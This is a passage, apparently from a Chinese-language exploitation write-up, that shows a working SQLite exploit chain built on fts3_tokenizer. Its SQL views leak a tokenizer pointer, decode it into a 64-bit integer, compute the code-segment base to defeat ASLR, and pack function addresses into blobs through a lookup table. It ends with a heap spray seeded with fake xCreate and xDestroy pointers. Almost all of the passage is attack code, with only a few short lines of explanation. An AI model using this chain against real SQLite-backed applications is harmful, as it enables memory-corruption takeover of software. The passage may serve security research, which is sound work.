structsqlite3_tokenizer_module { int iVersion; int (*xCreate) (int argc, constchar * const *argv, sqlite3_tokenizer **ppTokenizer); int (*xDestroy) (sqlite3_tokenizer *pTokenizer); int (*xOpen) (sqlite3_tokenizer *pTokenizer, constchar *pInput, int nBytes, sqlite3_tokenizer_cursor **ppCursor); int (*xClose) (sqlite3_tokenizer_cursor *pCursor); int (*xNext) (sqlite3_tokenizer_cursor *pCursor, constchar **ppToken, int *pnBytes, int *piStartOffset, int *piEndOffset, int *piPosition); };
CREATE VIEW le_leak AS SELECT hex(fts3_tokenizer("simple")) AS col;
CREATE VIEW leak AS SELECT SUBSTR((SELECT col FROM le_leak), -2, 2) || SUBSTR((SELECT col FROM le_leak), -4, 2) || SUBSTR((SELECT col FROM le_leak), -6, 2) || SUBSTR((SELECT col FROM le_leak), -8, 2) || SUBSTR((SELECT col FROM le_leak), -10, 2) || SUBSTR((SELECT col FROM le_leak), -12, 2) || SUBSTR((SELECT col FROM le_leak), -14, 2) || SUBSTR((SELECT col FROM le_leak), -16, 2) AS col; -- SELECT col FROM leak;
CREATE VIEW u64_leak AS SELECT( (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -1, 1)) -1) * (1 << 0))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -2, 1)) -1) * (1 << 4))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -3, 1)) -1) * (1 << 8))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -4, 1)) -1) * (1 << 12))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -5, 1)) -1) * (1 << 16))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -6, 1)) -1) * (1 << 20))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -7, 1)) -1) * (1 << 24))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -8, 1)) -1) * (1 << 28))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -9, 1)) -1) * (1 << 32))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -10, 1)) -1) * (1 << 36))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -11, 1)) -1) * (1 << 40))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -12, 1)) -1) * (1 << 44))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -13, 1)) -1) * (1 << 48))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -14, 1)) -1) * (1 << 52))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -15, 1)) -1) * (1 << 56))) + (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -16, 1)) -1) * (1 << 60))) ) AS col; -- SELECT col FROM u64_leak;
CREATE VIEW u64_codebase AS SELECT ( (SELECT col FROM u64_leak) - (SELECT '3298144') ) AS col;
CREATE TABLE hex_map (int INTEGER, val BLOB); -- int = ascii, val = ord(int) INSERT INTO hex_map VALUES (0, x'00'); INSERT INTO hex_map VALUES (1, x'01'); INSERT INTO hex_map VALUES (2, x'02'); INSERT INTO hex_map VALUES (3, x'03'); INSERT INTO hex_map VALUES (4, x'04'); ... INSERT INTO hex_map VALUES (255, x'ff');
CREATE VIEW p64_leak AS SELECT CAST( (SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 0)) % 256) || (SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 8)) % 256) || (SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 16)) % 256) || (SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 24)) % 256) || (SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 32)) % 256) || (SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 40)) % 256) || (SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 48)) % 256) || (SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 56)) % 256) AS blob) AS col;
我们创建了一个索引表,通过查询+拼接的方式得到p64。
有了代码段的基地址之后,我们可以很容易地获取xCreate函数、xDestroy函数等地址。
Heap spray
1 2 3 4 5 6
CREATE VIEW heap_spray AS SELECT replace(hex(zeroblob(10000)), "00", x'4141414142424242' || p64_create.col || p64_destroy.col || x'4343434344444444' ) FROM p64_create JOIN p64_destroy;